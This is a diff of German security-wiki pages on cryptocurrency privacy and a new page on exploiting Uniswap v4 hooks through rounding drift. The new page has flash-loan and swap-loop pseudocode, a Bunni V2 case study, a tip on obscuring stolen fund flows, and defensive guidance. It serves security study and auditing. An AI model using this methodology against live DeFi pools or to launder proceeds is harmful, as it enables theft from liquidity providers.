||||
|
||||
Um die Privatsphäre zu schützen, ist es wichtig, für jede Transaktion eine neue Adresse zu verwenden. Die Wiederverwendung von Adressen kann die Privatsphäre gefährden, indem Transaktionen mit derselben Entität verknüpft werden. Moderne Wallets entmutigen die Adresswiederverwendung durch ihr Design.
|
||||
Zum Schutz der Privatsphäre ist es wichtig, für jede Transaktion eine neue Adresse zu verwenden. Adressen wiederzuverwenden kann die Privatsphäre gefährden, indem Transaktionen mit derselben Entität verknüpft werden. Moderne Wallets entmutigen die Wiederverwendung von Adressen durch ihr Design.
|
||||
|
||||
## **Strategien für Transaktionsprivatsphäre**
|
||||
## **Strategien für Transaktions-Privatsphäre**
|
||||
|
||||
- **Mehrere Transaktionen**: Eine Zahlung in mehrere Transaktionen aufzuteilen, kann den Transaktionsbetrag verschleiern und Privatsphäre-Angriffe vereiteln.
|
||||
- **Vermeidung von Wechselgeld**: Transaktionen zu wählen, die keine Wechselgeldausgaben erfordern, verbessert die Privatsphäre, indem Methoden zur Wechselgelddetektion gestört werden.
|
||||
- **Mehrere Wechselgeldausgaben**: Wenn die Vermeidung von Wechselgeld nicht möglich ist, kann die Generierung mehrerer Wechselgeldausgaben dennoch die Privatsphäre verbessern.
|
||||
- **Multiple transactions**: Eine Zahlung in mehrere Transaktionen aufzuteilen kann den Betrag verschleiern und Angriffe auf die Privatsphäre vereiteln.
|
||||
- **Change avoidance**: Die Wahl von Transaktionen, die keine Change-Outputs erfordern, erhöht die Privatsphäre, indem Change-Detection-Methoden gestört werden.
|
||||
- **Multiple change outputs**: Wenn das Vermeiden von Change nicht möglich ist, kann das Erstellen mehrerer Change-Outputs trotzdem die Privatsphäre verbessern.
|
||||
|
||||
# **Monero: Ein Leuchtturm der Anonymität**
|
||||
|
||||
Monero adressiert das Bedürfnis nach absoluter Anonymität in digitalen Transaktionen und setzt einen hohen Standard für Privatsphäre.
|
||||
Monero adressiert das Bedürfnis nach absoluter Anonymität bei digitalen Transaktionen und setzt einen hohen Standard für Privatsphäre.
|
||||
|
||||
# **Ethereum: Gas und Transaktionen**
|
||||
|
||||
## **Gas verstehen**
|
||||
|
||||
Gas misst den Rechenaufwand, der erforderlich ist, um Operationen auf Ethereum auszuführen, und wird in **gwei** bewertet. Zum Beispiel beinhaltet eine Transaktion, die 2.310.000 gwei (oder 0.00231 ETH) kostet, ein Gaslimit und eine Grundgebühr, mit einem Trinkgeld zur Anreizung der Miner. Benutzer können eine Höchstgebühr festlegen, um sicherzustellen, dass sie nicht zu viel bezahlen, wobei der Überschuss zurückerstattet wird.
|
||||
Gas misst den Rechenaufwand, der zur Ausführung von Operationen auf Ethereum erforderlich ist und wird in **gwei** bepreist. Zum Beispiel umfasst eine Transaktion, die 2.310.000 gwei (oder 0,00231 ETH) kostet, ein Gas-Limit und eine Base Fee sowie ein Tip, um Miner zu incentivieren. Nutzer können eine Max Fee setzen, um sicherzustellen, dass sie nicht zu viel bezahlen; der Überschuss wird zurückerstattet.
|
||||
|
||||
## **Transaktionen ausführen**
|
||||
|
||||
Transaktionen in Ethereum beinhalten einen Absender und einen Empfänger, die entweder Benutzer- oder Smart-Contract-Adressen sein können. Sie erfordern eine Gebühr und müssen geschürft werden. Wesentliche Informationen in einer Transaktion umfassen den Empfänger, die Unterschrift des Absenders, den Wert, optionale Daten, das Gaslimit und die Gebühren. Bemerkenswert ist, dass die Adresse des Absenders aus der Unterschrift abgeleitet wird, wodurch die Notwendigkeit entfällt, sie in den Transaktionsdaten anzugeben.
|
||||
Transaktionen in Ethereum beinhalten einen Sender und einen Empfänger, die sowohl Benutzer- als auch Smart-Contract-Adressen sein können. Sie erfordern eine Gebühr und müssen gemined werden. Wesentliche Informationen in einer Transaktion sind der Empfänger, die Signatur des Senders, der Wert, optionale Daten, das Gas-Limit und die Gebühren. Bemerkenswert ist, dass die Absenderadresse aus der Signatur abgeleitet wird, sodass sie nicht in den Transaktionsdaten enthalten sein muss.
|
||||
|
||||
Diese Praktiken und Mechanismen sind grundlegend für jeden, der mit Kryptowährungen interagieren möchte, während er Privatsphäre und Sicherheit priorisiert.
|
||||
Diese Praktiken und Mechanismen sind grundlegend für alle, die mit Kryptowährungen interagieren und dabei Privatsphäre und Sicherheit priorisieren.
|
||||
|
||||
## Referenzen
|
||||
|
||||
@ -179,4 +181,12 @@ Diese Praktiken und Mechanismen sind grundlegend für jeden, der mit Kryptowähr
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
## DeFi/AMM-Ausnutzung
|
||||
|
||||
Wenn du praktische Ausnutzungen von DEXes und AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps) recherchierst, siehe:
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -0,0 +1,160 @@
|
||||
# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Diese Seite dokumentiert eine Klasse von DeFi/AMM-Exploitation-Techniken gegen Uniswap v4–artige DEXes, die die Core-Mathematik mit benutzerdefinierten hooks erweitern. Ein aktueller Vorfall in Bunni V2 nutzte einen Rundungs-/Präzisionsfehler in einer Liquidity Distribution Function (LDF), die bei jedem Swap ausgeführt wurde, und ermöglichte dem Angreifer, positive Credits anzusammeln und Liquidität abzuziehen.
|
||||
|
||||
Kernaussage: Wenn ein hook zusätzliche Buchführung implementiert, die von Fixed‑Point‑Math, Tick‑Rundung und Schwellenwertlogik abhängt, kann ein Angreifer exact‑input Swaps so gestalten, dass sie bestimmte Schwellen überschreiten und Rundungsdifferenzen sich zu seinen Gunsten akkumulieren. Das Muster zu wiederholen und anschließend das aufgeblähte Guthaben abzuheben realisiert Gewinn, oft finanziert durch einen flash loan.
|
||||
|
||||
## Background: Uniswap v4 hooks and swap flow
|
||||
|
||||
- Hooks sind Verträge, die der PoolManager zu bestimmten Lifecycle‑Punkten aufruft (z. B. beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
|
||||
- Pools werden mit einem PoolKey initialisiert, der die hooks-Adresse enthält. Ist diese nicht null, führt der PoolManager Callback-Aufrufe bei jeder relevanten Operation aus.
|
||||
- Die Core‑Mathematik benutzt Fixed‑Point‑Formate wie Q64.96 für sqrtPriceX96 und Tick‑Arithmetik mit 1.0001^tick. Jede zusätzliche benutzerdefinierte Mathematik darüber muss die Rundungssemantik exakt nachbilden, um ein Drift der Invarianten zu vermeiden.
|
||||
- Swaps können exactInput oder exactOutput sein. In v3/v4 bewegt sich der Preis entlang der ticks; das Überschreiten einer Tick‑Grenze kann Range‑Liquidity aktivieren/deaktivieren. Hooks können zusätzliche Logik bei Schwellen-/Tick‑Überschreitungen implementieren.
|
||||
|
||||
## Vulnerability archetype: threshold‑crossing precision/rounding drift
|
||||
|
||||
Ein typisches anfälliges Muster in benutzerdefinierten hooks:
|
||||
|
||||
1. Der hook berechnet pro Swap Liquidity‑ oder Balance‑Deltas unter Verwendung von Integer‑Division, mulDiv oder Fixed‑Point‑Konversionen (z. B. token ↔ liquidity mittels sqrtPrice und Tick‑Ranges).
|
||||
2. Schwellenwertlogik (z. B. Rebalancing, stufenweise Redistribution oder per‑Range Aktivierung) wird ausgelöst, wenn eine Swap‑Größe oder Preisbewegung eine interne Grenze überschreitet.
|
||||
3. Rundung wird inkonsistent angewendet (z. B. Trunkierung Richtung Null, floor versus ceil) zwischen der Vorwärtsberechnung und dem Settlement‑Pfad. Kleine Abweichungen heben sich nicht auf, sondern schreiben dem Caller Guthaben gut.
|
||||
4. Exact‑input Swaps, präzise dimensioniert, um diese Grenzen zu überqueren, ernten wiederholt die positive Rundungsremainder. Der Angreifer hebt anschließend das akkumulierte Credit ab.
|
||||
|
||||
Voraussetzungen des Angriffs
|
||||
- Ein Pool, der einen benutzerdefinierten v4 hook verwendet, der bei jedem Swap zusätzliche Mathematik ausführt (z. B. eine LDF/rebalancer).
|
||||
- Mindestens ein Ausführungspfad, bei dem Rundung den Swap‑Initiator über Schwellenübertritte begünstigt.
|
||||
- Möglichkeit, viele Swaps atomar zu wiederholen (flash loans eignen sich gut, um temporäre Liquidität bereitzustellen und Gas zu amortisieren).
|
||||
|
||||
## Practical attack methodology
|
||||
|
||||
1) Identify candidate pools with hooks
|
||||
- Enumeriere v4 Pools und prüfe PoolKey.hooks != address(0).
|
||||
- Inspektiere hook‑Bytecode/ABI auf Callbacks: beforeSwap/afterSwap und alle benutzerdefinierten Rebalancing‑Methoden.
|
||||
- Suche nach Mathematik, die: durch liquidity teilt, zwischen token‑Beträgen und liquidity konvertiert, oder BalanceDelta mit Rundung aggregiert.
|
||||
|
||||
2) Model the hook’s math and thresholds
|
||||
- Rekonstruiere die Liquidity/Redistribution‑Formel des hooks: Inputs sind typischerweise sqrtPriceX96, tickLower/Upper, currentTick, fee tier und net liquidity.
|
||||
- Mappe Schwellen-/Stufenfunktionen: ticks, Bucket‑Grenzen oder LDF‑Breakpoints. Bestimme, auf welcher Seite jeder Grenze der Delta gerundet wird.
|
||||
- Identifiziere Stellen, an denen Konversionen zwischen uint256/int256 erfolgen, SafeCast verwendet wird oder mulDiv mit implizitem floor arbeitet.
|
||||
|
||||
3) Calibrate exact‑input swaps to cross boundaries
|
||||
- Nutze Foundry/Hardhat‑Simulationen, um das minimale Δin zu berechnen, das nötig ist, um den Preis gerade über eine Grenze zu bewegen und den Hook‑Branch auszulösen.
|
||||
- Verifiziere, dass nach dem afterSwap‑Settlement dem Caller mehr gutgeschrieben wird als die Kosten, sodass ein positives BalanceDelta oder Kredit in der Hook‑Buchführung verbleibt.
|
||||
- Wiederhole Swaps, um Kredit anzusammeln; rufe dann den Entnahme/Settlement‑Pfad des Hooks auf.
|
||||
|
||||
Example Foundry‑style test harness (pseudocode)
|
||||
```solidity
|
||||
function test_precision_rounding_abuse() public {
|
||||
// 1) Arrange: set up pool with hook
|
||||
PoolKey memory key = PoolKey({
|
||||
currency0: USDC,
|
||||
currency1: USDT,
|
||||
fee: 500, // 0.05%
|
||||
tickSpacing: 10,
|
||||
hooks: address(bunniHook)
|
||||
});
|
||||
pm.initialize(key, initialSqrtPriceX96);
|
||||
|
||||
// 2) Determine a boundary‑crossing exactInput
|
||||
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
|
||||
|
||||
// 3) Loop swaps to accrue rounding credit
|
||||
for (uint i; i < N; ++i) {
|
||||
pm.swap(
|
||||
key,
|
||||
IPoolManager.SwapParams({
|
||||
zeroForOne: true,
|
||||
amountSpecified: int256(exactIn), // exactInput
|
||||
sqrtPriceLimitX96: 0 // allow tick crossing
|
||||
}),
|
||||
""
|
||||
);
|
||||
}
|
||||
|
||||
// 4) Realize inflated credit via hook‑exposed withdrawal
|
||||
bunniHook.withdrawCredits(msg.sender);
|
||||
}
|
||||
```
|
||||
Calibrating the exactInput
|
||||
- Berechne ΔsqrtP für einen Tick-Schritt: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
|
||||
- Approximiere Δin mithilfe der v3/v4-Formeln: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Stelle sicher, dass die Rundungsrichtung mit der Core-Mathematik übereinstimmt.
|
||||
- Passe Δin um ±1 wei um die Grenze herum an, um den Branch zu finden, in dem der Hook zugunsten deiner Rundung rundet.
|
||||
|
||||
4) Verstärken mit flash loans
|
||||
- Leihe einen großen Nominalbetrag (z. B. 3M USDT oder 2000 WETH), um viele Iterationen atomar auszuführen.
|
||||
- Führe die kalibrierte Swap-Schleife aus, hebe dann ab und zahle innerhalb des flash loan callbacks zurück.
|
||||
|
||||
Aave V3 flash loan skeleton
|
||||
```solidity
|
||||
function executeOperation(
|
||||
address[] calldata assets,
|
||||
uint256[] calldata amounts,
|
||||
uint256[] calldata premiums,
|
||||
address initiator,
|
||||
bytes calldata params
|
||||
) external returns (bool) {
|
||||
// run threshold‑crossing swap loop here
|
||||
for (uint i; i < N; ++i) {
|
||||
_exactInBoundaryCrossingSwap();
|
||||
}
|
||||
// realize credits / withdraw inflated balances
|
||||
bunniHook.withdrawCredits(address(this));
|
||||
// repay
|
||||
for (uint j; j < assets.length; ++j) {
|
||||
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
```
|
||||
5) Exit und cross‑chain replication
|
||||
- If hooks are deployed on multiple chains, repeat the same calibration per chain.
|
||||
- Bridge proceeds back to the target chain and optionally cycle via lending protocols to obfuscate flows.
|
||||
|
||||
## Common root causes in hook math
|
||||
|
||||
- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding.
|
||||
- Tick alignment errors: using unrounded ticks in one path and tick‑spaced rounding in another.
|
||||
- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement.
|
||||
- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping.
|
||||
- Accumulation pathways: per‑swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zero‑sum.
|
||||
|
||||
## Defensive guidance
|
||||
|
||||
- Differential testing: mirror the hook’s math vs a reference implementation using high‑precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller).
|
||||
- Invariant/property tests:
|
||||
- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees.
|
||||
- No path should create positive net credit for the swap initiator over repeated exactInput iterations.
|
||||
- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput.
|
||||
- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors.
|
||||
- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender.
|
||||
- Rate‑limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are sub‑wei; sanity‑check deltas against expected ranges.
|
||||
- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding.
|
||||
|
||||
## Case study: Bunni V2 (2025‑09‑02)
|
||||
|
||||
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
|
||||
- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller.
|
||||
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
|
||||
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
|
||||
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain.
|
||||
|
||||
## Hunting checklist
|
||||
|
||||
- Does the pool use a non‑zero hooks address? Which callbacks are enabled?
|
||||
- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic?
|
||||
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
|
||||
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
|
||||
- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
|
||||
|
||||
## References
|
||||
|
||||
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
|
||||
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
|
||||
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
|
||||
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
|
||||
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
|
||||
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,182 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Grundkonzepte
|
||||
|
||||
- **Smart Contracts** sind Programme, die auf einer Blockchain ausgeführt werden, wenn bestimmte Bedingungen erfüllt sind, und automatisieren die Ausführung von Vereinbarungen ohne Zwischenhändler.
|
||||
- **Dezentralisierte Anwendungen (dApps)** basieren auf Smart Contracts und verfügen über ein benutzerfreundliches Front-End sowie ein transparentes, prüfbares Back-End.
|
||||
- **Tokens & Coins** unterscheiden sich darin, dass Coins als digitales Geld dienen, während Tokens Wert oder Eigentum in bestimmten Kontexten repräsentieren.
|
||||
- **Utility Tokens** gewähren Zugang zu Dienstleistungen, und **Security Tokens** signalisieren den Besitz von Vermögenswerten.
|
||||
- **DeFi** steht für Dezentrale Finanzen und bietet Finanzdienstleistungen ohne zentrale Autoritäten.
|
||||
- **DEX** und **DAOs** beziehen sich auf Dezentrale Handelsplattformen und Dezentrale Autonome Organisationen.
|
||||
|
||||
## Konsensmechanismen
|
||||
|
||||
Konsensmechanismen gewährleisten sichere und vereinbarte Transaktionsvalidierungen auf der Blockchain:
|
||||
|
||||
- **Proof of Work (PoW)** basiert auf Rechenleistung zur Verifizierung von Transaktionen.
|
||||
- **Proof of Stake (PoS)** verlangt von Validierern, eine bestimmte Menge an Tokens zu halten, was den Energieverbrauch im Vergleich zu PoW reduziert.
|
||||
|
||||
## Bitcoin-Grundlagen
|
||||
|
||||
### Transaktionen
|
||||
|
||||
Bitcoin-Transaktionen beinhalten die Übertragung von Geldern zwischen Adressen. Transaktionen werden durch digitale Signaturen validiert, die sicherstellen, dass nur der Besitzer des privaten Schlüssels Überweisungen initiieren kann.
|
||||
|
||||
#### Schlüsselkomponenten:
|
||||
|
||||
- **Multisignatur-Transaktionen** erfordern mehrere Signaturen zur Autorisierung einer Transaktion.
|
||||
- Transaktionen bestehen aus **Inputs** (Quelle der Gelder), **Outputs** (Ziel), **Fees** (bezahlt an Miner) und **Scripts** (Transaktionsregeln).
|
||||
|
||||
### Lightning Network
|
||||
|
||||
Zielt darauf ab, die Skalierbarkeit von Bitcoin zu verbessern, indem mehrere Transaktionen innerhalb eines Kanals ermöglicht werden, wobei nur der endgültige Zustand an die Blockchain übertragen wird.
|
||||
|
||||
## Bitcoin-Privatsphäre-Bedenken
|
||||
|
||||
Privatsphäreangriffe, wie **Common Input Ownership** und **UTXO Change Address Detection**, nutzen Transaktionsmuster aus. Strategien wie **Mixers** und **CoinJoin** verbessern die Anonymität, indem sie die Transaktionsverbindungen zwischen Benutzern verschleiern.
|
||||
|
||||
## Bitcoins anonym erwerben
|
||||
|
||||
Methoden umfassen Bargeschäfte, Mining und die Verwendung von Mixern. **CoinJoin** mischt mehrere Transaktionen, um die Rückverfolgbarkeit zu erschweren, während **PayJoin** CoinJoins als reguläre Transaktionen tarnt, um die Privatsphäre zu erhöhen.
|
||||
|
||||
# Bitcoin-Privatsphäre-Angriffe
|
||||
|
||||
# Zusammenfassung der Bitcoin-Privatsphäre-Angriffe
|
||||
|
||||
In der Welt von Bitcoin sind die Privatsphäre von Transaktionen und die Anonymität der Benutzer oft Gegenstand von Bedenken. Hier ist eine vereinfachte Übersicht über mehrere gängige Methoden, durch die Angreifer die Bitcoin-Privatsphäre gefährden können.
|
||||
|
||||
## **Annahme des gemeinsamen Eingangsbesitzes**
|
||||
|
||||
Es ist allgemein selten, dass Eingänge von verschiedenen Benutzern in einer einzigen Transaktion kombiniert werden, aufgrund der damit verbundenen Komplexität. Daher wird **angenommen, dass zwei Eingangsadressen in derselben Transaktion oft demselben Eigentümer gehören**.
|
||||
|
||||
## **UTXO-Wechseladresse-Erkennung**
|
||||
|
||||
Ein UTXO, oder **Unspent Transaction Output**, muss in einer Transaktion vollständig ausgegeben werden. Wenn nur ein Teil davon an eine andere Adresse gesendet wird, geht der Rest an eine neue Wechseladresse. Beobachter können annehmen, dass diese neue Adresse dem Absender gehört, was die Privatsphäre gefährdet.
|
||||
|
||||
### Beispiel
|
||||
|
||||
Um dies zu mildern, können Mischdienste oder die Verwendung mehrerer Adressen helfen, den Besitz zu verschleiern.
|
||||
|
||||
## **Exposition in sozialen Netzwerken & Foren**
|
||||
|
||||
Benutzer teilen manchmal ihre Bitcoin-Adressen online, was es **einfach macht, die Adresse mit ihrem Eigentümer zu verknüpfen**.
|
||||
|
||||
## **Transaktionsgraphanalyse**
|
||||
|
||||
Transaktionen können als Graphen visualisiert werden, die potenzielle Verbindungen zwischen Benutzern basierend auf dem Fluss von Geldern offenbaren.
|
||||
|
||||
## **Unnötige Eingangsheuristik (Optimale Wechselheuristik)**
|
||||
|
||||
Diese Heuristik basiert auf der Analyse von Transaktionen mit mehreren Eingängen und Ausgängen, um zu erraten, welcher Ausgang das Wechselgeld ist, das an den Absender zurückgegeben wird.
|
||||
|
||||
### Beispiel
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Wenn das Hinzufügen weiterer Eingaben die Ausgabe größer macht als jede einzelne Eingabe, kann dies die Heuristik verwirren.
|
||||
|
||||
## **Erzwungene Adressennutzung**
|
||||
|
||||
Angreifer können kleine Beträge an zuvor verwendete Adressen senden, in der Hoffnung, dass der Empfänger diese mit anderen Eingaben in zukünftigen Transaktionen kombiniert und somit Adressen miteinander verknüpft.
|
||||
|
||||
### Korrektes Wallet-Verhalten
|
||||
|
||||
Wallets sollten vermeiden, Münzen zu verwenden, die auf bereits verwendeten, leeren Adressen empfangen wurden, um diesen Datenschutzleck zu verhindern.
|
||||
|
||||
## **Andere Blockchain-Analyse-Techniken**
|
||||
|
||||
- **Exakte Zahlungsbeträge:** Transaktionen ohne Wechselgeld sind wahrscheinlich zwischen zwei Adressen, die demselben Benutzer gehören.
|
||||
- **Runde Zahlen:** Eine runde Zahl in einer Transaktion deutet darauf hin, dass es sich um eine Zahlung handelt, wobei die nicht-runde Ausgabe wahrscheinlich das Wechselgeld ist.
|
||||
- **Wallet-Fingerprinting:** Verschiedene Wallets haben einzigartige Muster bei der Transaktionsgenerierung, die es Analysten ermöglichen, die verwendete Software und potenziell die Wechseladresse zu identifizieren.
|
||||
- **Betrags- und Zeitkorrelationen:** Die Offenlegung von Transaktionszeiten oder -beträgen kann Transaktionen nachvollziehbar machen.
|
||||
|
||||
## **Traffic-Analyse**
|
||||
|
||||
Durch die Überwachung des Netzwerkverkehrs können Angreifer potenziell Transaktionen oder Blöcke mit IP-Adressen verknüpfen, was die Privatsphäre der Benutzer gefährdet. Dies gilt insbesondere, wenn eine Entität viele Bitcoin-Knoten betreibt, was ihre Fähigkeit zur Überwachung von Transaktionen erhöht.
|
||||
|
||||
## Mehr
|
||||
|
||||
Für eine umfassende Liste von Datenschutzangriffen und -abwehrmaßnahmen besuchen Sie [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
# Anonyme Bitcoin-Transaktionen
|
||||
|
||||
## Möglichkeiten, Bitcoins anonym zu erhalten
|
||||
|
||||
- **Bargeldtransaktionen**: Erwerb von Bitcoin durch Bargeld.
|
||||
- **Bargeldalternativen**: Kauf von Geschenkkarten und deren Online-Einlösung gegen Bitcoin.
|
||||
- **Mining**: Die privateste Methode, um Bitcoins zu verdienen, ist das Mining, insbesondere wenn es alleine durchgeführt wird, da Mining-Pools möglicherweise die IP-Adresse des Miners kennen. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Diebstahl**: Theoretisch könnte das Stehlen von Bitcoin eine weitere Methode sein, um es anonym zu erwerben, obwohl es illegal und nicht empfohlen ist.
|
||||
|
||||
## Mixing-Dienste
|
||||
|
||||
Durch die Nutzung eines Mixing-Dienstes kann ein Benutzer **Bitcoins senden** und **andere Bitcoins im Gegenzug erhalten**, was die Rückverfolgung des ursprünglichen Eigentümers erschwert. Dennoch erfordert dies Vertrauen in den Dienst, dass er keine Protokolle führt und die Bitcoins tatsächlich zurückgibt. Alternative Mixing-Optionen sind Bitcoin-Casinos.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** kombiniert mehrere Transaktionen von verschiedenen Benutzern in eine, was den Prozess für jeden, der versucht, Eingaben mit Ausgaben abzugleichen, kompliziert. Trotz seiner Effektivität können Transaktionen mit einzigartigen Eingabe- und Ausgabengrößen dennoch potenziell zurückverfolgt werden.
|
||||
|
||||
Beispieltransaktionen, die CoinJoin verwendet haben könnten, sind `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` und `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
Für weitere Informationen besuchen Sie [CoinJoin](https://coinjoin.io/en). Für einen ähnlichen Dienst auf Ethereum schauen Sie sich [Tornado Cash](https://tornado.cash) an, der Transaktionen mit Mitteln von Minern anonymisiert.
|
||||
|
||||
## PayJoin
|
||||
|
||||
Eine Variante von CoinJoin, **PayJoin** (oder P2EP), tarnt die Transaktion zwischen zwei Parteien (z. B. einem Kunden und einem Händler) als reguläre Transaktion, ohne die charakteristischen gleichmäßigen Ausgaben von CoinJoin. Dies macht es extrem schwierig, sie zu erkennen, und könnte die Heuristik der gemeinsamen Eingabebesitzverhältnisse, die von Transaktionsüberwachungsstellen verwendet wird, ungültig machen.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Transaktionen wie die oben genannten könnten PayJoin sein, was die Privatsphäre verbessert und gleichzeitig von standardmäßigen Bitcoin-Transaktionen nicht zu unterscheiden ist.
|
||||
|
||||
**Die Nutzung von PayJoin könnte traditionelle Überwachungsmethoden erheblich stören**, was es zu einer vielversprechenden Entwicklung im Streben nach transaktionaler Privatsphäre macht.
|
||||
|
||||
# Beste Praktiken für Privatsphäre in Kryptowährungen
|
||||
|
||||
## **Wallet-Synchronisationstechniken**
|
||||
|
||||
Um Privatsphäre und Sicherheit zu gewährleisten, ist die Synchronisation von Wallets mit der Blockchain entscheidend. Zwei Methoden stechen hervor:
|
||||
|
||||
- **Vollknoten**: Durch das Herunterladen der gesamten Blockchain gewährleistet ein Vollknoten maximale Privatsphäre. Alle jemals getätigten Transaktionen werden lokal gespeichert, was es Gegnern unmöglich macht, zu identifizieren, an welchen Transaktionen oder Adressen der Benutzer interessiert ist.
|
||||
- **Client-seitige Blockfilterung**: Diese Methode beinhaltet die Erstellung von Filtern für jeden Block in der Blockchain, sodass Wallets relevante Transaktionen identifizieren können, ohne spezifische Interessen gegenüber Netzwerkbeobachtern offenzulegen. Leichte Wallets laden diese Filter herunter und holen sich nur vollständige Blöcke, wenn eine Übereinstimmung mit den Adressen des Benutzers gefunden wird.
|
||||
|
||||
## **Tor zur Anonymität nutzen**
|
||||
|
||||
Da Bitcoin in einem Peer-to-Peer-Netzwerk arbeitet, wird empfohlen, Tor zu verwenden, um Ihre IP-Adresse zu maskieren und die Privatsphäre bei der Interaktion mit dem Netzwerk zu verbessern.
|
||||
|
||||
## **Vermeidung von Adresswiederverwendung**
|
||||
|
||||
Um die Privatsphäre zu schützen, ist es wichtig, für jede Transaktion eine neue Adresse zu verwenden. Die Wiederverwendung von Adressen kann die Privatsphäre gefährden, indem Transaktionen mit derselben Entität verknüpft werden. Moderne Wallets entmutigen die Wiederverwendung von Adressen durch ihr Design.
|
||||
|
||||
## **Strategien für Transaktionsprivatsphäre**
|
||||
|
||||
- **Mehrere Transaktionen**: Eine Zahlung in mehrere Transaktionen aufzuteilen, kann den Transaktionsbetrag verschleiern und Privatsphäre-Angriffe vereiteln.
|
||||
- **Vermeidung von Wechselgeld**: Transaktionen zu wählen, die keine Wechselgeldausgaben erfordern, verbessert die Privatsphäre, indem Methoden zur Wechselgelddetektion gestört werden.
|
||||
- **Mehrere Wechselgeldausgaben**: Wenn die Vermeidung von Wechselgeld nicht möglich ist, kann die Generierung mehrerer Wechselgeldausgaben dennoch die Privatsphäre verbessern.
|
||||
|
||||
# **Monero: Ein Leuchtturm der Anonymität**
|
||||
|
||||
Monero adressiert das Bedürfnis nach absoluter Anonymität in digitalen Transaktionen und setzt einen hohen Standard für Privatsphäre.
|
||||
|
||||
# **Ethereum: Gas und Transaktionen**
|
||||
|
||||
## **Gas verstehen**
|
||||
|
||||
Gas misst den Rechenaufwand, der erforderlich ist, um Operationen auf Ethereum auszuführen, und wird in **gwei** bewertet. Zum Beispiel beinhaltet eine Transaktion, die 2.310.000 gwei (oder 0.00231 ETH) kostet, ein Gaslimit und eine Grundgebühr, mit einem Trinkgeld zur Anreizung der Miner. Benutzer können eine maximale Gebühr festlegen, um sicherzustellen, dass sie nicht zu viel bezahlen, wobei der Überschuss zurückerstattet wird.
|
||||
|
||||
## **Transaktionen ausführen**
|
||||
|
||||
Transaktionen in Ethereum beinhalten einen Absender und einen Empfänger, die entweder Benutzer- oder Smart-Contract-Adressen sein können. Sie erfordern eine Gebühr und müssen geschürft werden. Wesentliche Informationen in einer Transaktion umfassen den Empfänger, die Unterschrift des Absenders, den Wert, optionale Daten, das Gaslimit und die Gebühren. Bemerkenswert ist, dass die Adresse des Absenders aus der Unterschrift abgeleitet wird, wodurch die Notwendigkeit entfällt, sie in den Transaktionsdaten anzugeben.
|
||||
|
||||
